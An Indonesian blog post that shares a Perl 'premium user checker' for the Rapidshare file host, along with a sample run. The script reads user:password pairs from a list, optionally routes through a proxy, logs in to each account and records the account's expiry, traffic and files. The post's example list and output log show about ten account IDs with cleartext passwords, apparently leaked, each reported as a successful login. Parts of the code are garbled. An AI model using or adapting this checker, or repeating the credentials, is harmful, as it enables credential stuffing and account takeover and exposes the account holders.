[PERL] Rapidshare Premium User Checker

Setelah merasa membutuhkan tool untuk mengecek kevalidan premium
user rapidshare, maka saya membuat skrip kecil dengan perl.

Fasilitas :
[+] Single user checker
[+] Multi User checker
[+] Support Proxy

untuk cek multi user, buat satu file, misalnya : “cekuserpremix.txt” ,

isi dengan format :


userrapid:passwordrapid


contoh :


7598271:www.freekonta.pl
Didadidadoum:www.freekonta.pl
1549391:www.freekonta.pl


Berikut ini code perl nya :


#!/usr/bin/perl
#
# rapidcheckuserv002.pl

use strict;
use LWP;
use HTTP::Cookies;
use Getopt::Std;
use Crypt::SSLeay;

my $bannerku=<new;
push @{ $browser->requests_redirectable }, 'POST';
$browser -> agent($Agent);
if ($opt_p) {
if ($opt_p=~m/(.+?)\:(.+?)\@((?:.+?)\:(?:.+))/) {
$opt_p = "http://$3";
$ENV{HTTPS_PROXY} = $opt_p;
$ENV{HTTPS_PROXY_USERNAME} = $1;
$ENV{HTTPS_PROXY_PASSWORD} = $2;
#$browser ->proxy(['http', 'https'], 'http://'.$opt_p.'/') if ($opt_p);
#$browser ->proxy(['https'], 'https://'.$opt_p.'/') if ($opt_p);
} elsif ($opt_p=~m/((?:.+?)\:(?:.+))/) {
$opt_p = "http://$1";
$ENV{HTTPS_PROXY} = $opt_p;
} else {
printlog ("\n[*] Silahken memasukkan Opsi Proxy seperti pada contoh !!!\n\n");
die("\n");
}
}
$browser ->timeout(45);
my @waktu = localtime(time);
my $log = 'rapidcuv002-'.$waktu[3].($waktu[4]+1).($waktu[5]+1900).'-'.$waktu[2].'-'.$waktu[1].'-'.$waktu[0].'.txt';
my $kokis = "lwpcookiesrapidcuv002.txt";
$browser->cookie_jar(HTTP::Cookies->new(file => $kokis, autosave => 1));

my $url = "https://ssl.rapidshare.com/cgi-bin/premiumzone.cgi";

printlog ("\n[*] Processing: $url .....\n\n");
#printlog ("\n[*] Processing: $user :: $passwod\n\n");

if ($opt_l) {
if ($opt_l=~m/(.+?)\:(.+)/) {
#$user = $1;
#$passwod = $2;
printlog ("\n[*] Processing: $1 :: $2\n\n");
&poss($url,$1,$2);
} else {die("\n[~] Format user:password salah !!!\n\n");}
}
elsif ($opt_f) {
open(UF, $opt_f) || die "\nI can't open the list\n";
@daptar=;
close(UF);
foreach $elemen(@daptar){
chomp($elemen);
if ($elemen=~/(.+):(.+)/) {
printlog ("\n[*] Processing: $1 :: $2\n\n");
&poss($url,$1,$2);
} #of if
sleep 1;
} #of foreach
}
else {
printlog ("\n[*] Silahken memasukkan Opsi seperti pada contoh !!!\n\n");
die("\n");
}

sub poss {
my $uurl = shift;
my $uuser = shift;
my $upasswod = shift;

my $lihat = HTTP::Request->new(POST => $uurl);
$lihat->content_type('application/x-www-form-urlencoded');
$lihat->referer('https://ssl.rapidshare.com/premiumzone.html');
my $loginsend = 'uselandingpage=1&'.
'login='.$uuser.'&'.
'password='.$upasswod;
$lihat->content-length($loginsend);
$lihat->content($loginsend);
my $lihatresponse = $browser->request($lihat);
if ($lihatresponse->is_success) {
#printlog($lihatresponse->as_string);
my $kutukupret=join("",$lihatresponse->as_string);
#my $cucok=$kutukupret=~m/Overview of the Account\: (.+?)\\\/sg;
if ($kutukupret=~m/Overview of the Account\: (.+?)\\\/sg) {
printlog("\n[+] Login Premium Account $1 Berhasil\n");
}
elsif ($kutukupret=~m/\

Your Premium Account has not been found\.\/sg) {
printlog("\n[+] Your Premium Account has not been found. \n\n");
die("[-] Error...\n\n");
}
elsif ($kutukupret=~m/\

The Account has been found\, but the password is incorrect\.\/sg) {
printlog("\n[+] The Account has been found, but the password is incorrect. \n\n");
die("[-] Error...\n\n");
}
else { printlog("\n[-] Login Gagal ! Mungkin diblokir atau Password salah.\n");
printlog($lihatresponse->as_string);
die("[-] Error...\n\n");
}
if ($kutukupret=~m/\

Expiration date\:\

\(.+?)/sg) {
printlog("\n[+] Tanggal Expired : $1 \n");
}
else { printlog("\n[-] TGL Expired Gagal ! Mungkin diblokir atau overlimit.\n");
printlog($lihatresponse->as_string);
die("[-] Error...\n\n");
}
if ($kutukupret=~m/\

Traffic left\:\\

\\document\.write\(setzeTT\(\"\"\+Math\.ceil\((.+?)\)\)\)\;\ (.+?)\\/sg) {
printlog("\n[+] Traffic left : $1 $2 ");
}
else { printlog("\n[-] Traffic left 1 Gagal ! Mungkin diblokir atau overlimit.\n");
printlog($lihatresponse->as_string);
die("[-] Error...\n\n");
}
if ($kutukupret=~m/credited to the download quota\.\'\)\" style\=\"cursor\:help\"\>(.+?)\\)\\/sg) {
printlog("($1) \n");
}
else { printlog("\n[-] Traffic left 2 Gagal ! Mungkin diblokir atau overlimit.\n");
printlog($lihatresponse->as_string);
die("[-] Error...\n\n");
}
if ($kutukupret=~m/\

RapidPoints\:\\

\(.+?)\\/sg) {
printlog("\n[+] RapidPoints : $1 \n");
}
else { printlog("\n[-] RapidPoints Gagal ! Mungkin diblokir atau overlimit.\n");
printlog($lihatresponse->as_string);
die("[-] Error...\n\n");
}
if ($kutukupret=~m/\

Server time\:\\

\(.+?)\\/sg) {
printlog("\n[+] Server time : $1 \n");
}
else { printlog("\n[-] Server time Gagal ! Mungkin diblokir atau overlimit.\n");
printlog($lihatresponse->as_string);
die("[-] Error...\n\n");
}
if ($kutukupret=~m/\

Used storage\:\\

\\document\.write\(setzeTT\(\"(.+?)\"\)\)\(.+?)\\/sg) {
printlog("\n[+] Used storage : $1 $2\n");
}
else { printlog("\n[-] Used storage Gagal ! Mungkin diblokir atau overlimit.\n");
printlog($lihatresponse->as_string);
die("[-] Error...\n\n");
}
if ($kutukupret=~m/help\"\>RapidPoints PU\\:\\

\(.+?)\\/sg) {
printlog("\n[+] RapidPoints PU : $1 \n");
}
else { printlog("\n[-] RapidPoints PU Gagal ! Mungkin diblokir atau overlimit.\n");
printlog($lihatresponse->as_string);
die("[-] Error...\n\n");
}
if ($kutukupret=~m/\

TrafficShare left\:\\

\(.+?)\\/sg) {
printlog("\n[+] TrafficShare left : $1 \n");
}
else { printlog("\n[-] TrafficShare left Gagal ! Mungkin diblokir atau overlimit.\n");
printlog($lihatresponse->as_string);
die("[-] Error...\n\n");
}
if ($kutukupret=~m/\

Files\:\\

\(.+?)\\/sg) {
printlog("\n[+] Files : $1 \n");
}
else { printlog("\n[-] Files Gagal ! Mungkin diblokir atau overlimit.\n");
printlog($lihatresponse->as_string);
die("[-] Error...\n\n");
}

}
else {
print "[-] Error: ".$lihatresponse->status_line."\n\n" ; printlog ($lihatresponse->as_string);
die("[-] Error...\n\n");
}
printlog ("\n[*] *************\n\n");
} #end of sub

sub printlog {
print @_[0];
open(lo,">>$log");
print lo @_[0];
close(lo);
return;
}


maap, kalo penulisan codenya jadi kacau,
silahken donglotz di geocities.

cek multi user rapid lebih maknyuz…..

ini file log nya :

[*] Processing: https://ssl.rapidshare.com/cgi-bin/premiumzone.cgi .....

[*] Processing: rapidhackhit :: philips

[+] Login Premium Account rapidhackhit Berhasil

[+] Tanggal Expired : Mon, 2. Feb 2009

[+] Traffic left : -3062217/1000 MB (+0 GB)

[+] RapidPoints : 2000

[+] Server time : 04.01.2009 16:54:57

[+] Used storage : 14 MB

[+] RapidPoints PU : 0

[+] TrafficShare left : 5.00 GB

[+] Files : 4

[*] *************

[*] Processing: 7337748 :: Ftd4g6te

[+] Login Premium Account 7337748 Berhasil

[+] Tanggal Expired : Thu, 21. May 2009

[+] Traffic left : -3033957/1000 MB (+0 GB)

[+] RapidPoints : 6000

[+] Server time : 04.01.2009 16:55:15

[+] Used storage : 0 MB

[+] RapidPoints PU : 0

[+] TrafficShare left : 5.00 GB

[+] Files : 0

[*] *************

[*] Processing: 3578799 :: 5TKFme5hUB

[+] Login Premium Account 3578799 Berhasil

[+] Tanggal Expired : Mon, 5. Jan 2009

[+] Traffic left : -2328952/1000 MB (+0 GB)

[+] RapidPoints : 17000

[+] Server time : 04.01.2009 16:55:48

[+] Used storage : 0 MB

[+] RapidPoints PU : 0

[+] TrafficShare left : 5.00 GB

[+] Files : 1

[*] *************

[*] Processing: 800953 :: 473680

[+] Login Premium Account 800953 Berhasil

[+] Tanggal Expired : Fri, 20. Feb 2009

[+] Traffic left : -2207469/1000 MB (+0 GB)

[+] RapidPoints : 19000

[+] Server time : 04.01.2009 16:56:19

[+] Used storage : 0 MB

[+] RapidPoints PU : 0

[+] TrafficShare left : 5.00 GB

[+] Files : 1

[*] *************

[*] Processing: stipo :: eeepc

[+] Login Premium Account stipo Berhasil

[+] Tanggal Expired : Sun, 19. Apr 2009

[+] Traffic left : -3369326/1000 MB (+0 GB)

[+] RapidPoints : 7000

[+] Server time : 04.01.2009 16:56:51

[+] Used storage : 2 MB

[+] RapidPoints PU : 0

[+] TrafficShare left : 5.00 GB

[+] Files : 2

[*] *************

[*] Processing: 7609420 :: cB3Xsd3418Tuv3y9Y

[+] Login Premium Account 7609420 Berhasil

[+] Tanggal Expired : Fri, 13. Mar 2009

[+] Traffic left : -4302137/1000 MB (+0 GB)

[+] RapidPoints : 3000

[+] Server time : 04.01.2009 16:57:23

[+] Used storage : 41 MB

[+] RapidPoints PU : 0

[+] TrafficShare left : 5.00 GB

[+] Files : 3

[*] *************

[*] Processing: 555816 :: 305509

[+] Login Premium Account 555816 Berhasil

[+] Tanggal Expired : Wed, 14. Jan 2009

[+] Traffic left : -3355262/1000 MB (+0 GB)

[+] RapidPoints : 7000

[+] Server time : 04.01.2009 16:58:00

[+] Used storage : 0 MB

[+] RapidPoints PU : 0

[+] TrafficShare left : 5.00 GB

[+] Files : 1

[*] *************

[*] Processing: 7337748 :: Ftd4g6te

[+] Login Premium Account 7337748 Berhasil

[+] Tanggal Expired : Thu, 21. May 2009

[+] Traffic left : -3033957/1000 MB (+0 GB)

[+] RapidPoints : 6000

[+] Server time : 04.01.2009 16:58:38

[+] Used storage : 0 MB

[+] RapidPoints PU : 0

[+] TrafficShare left : 5.00 GB

[+] Files : 0

[*] *************

[*] Processing: 7490064 :: zwd9ab

[+] Login Premium Account 7490064 Berhasil

[+] Tanggal Expired : Sat, 3. Jan 2009

[+] Traffic left : 12000000/1000 MB (+0 GB)

[+] RapidPoints : 0

[+] Server time : 04.01.2009 16:59:11

[+] Used storage : 0 MB

[+] RapidPoints PU : 0

[+] TrafficShare left : 5.00 GB

[+] Files : 0

[*] *************

[*] Processing: 5792166 :: www.rapidhack.pl

[+] Login Premium Account 5792166 Berhasil

[+] Tanggal Expired : Mon, 9. Feb 2009

[+] Traffic left : 799287/1000 MB (+16 GB)

[+] RapidPoints : 12100

[+] Server time : 04.01.2009 16:59:48

[+] Used storage : 312 MB

[+] RapidPoints PU : 0

[+] TrafficShare left : 21.00 GB

[+] Files : 2

[*] *************

TO DO :
[+] Ngatasin versi bahasa german nya….. 😀
[+] Pengennya langsung check masih ada quota kagak….

Ada komentar || saran ?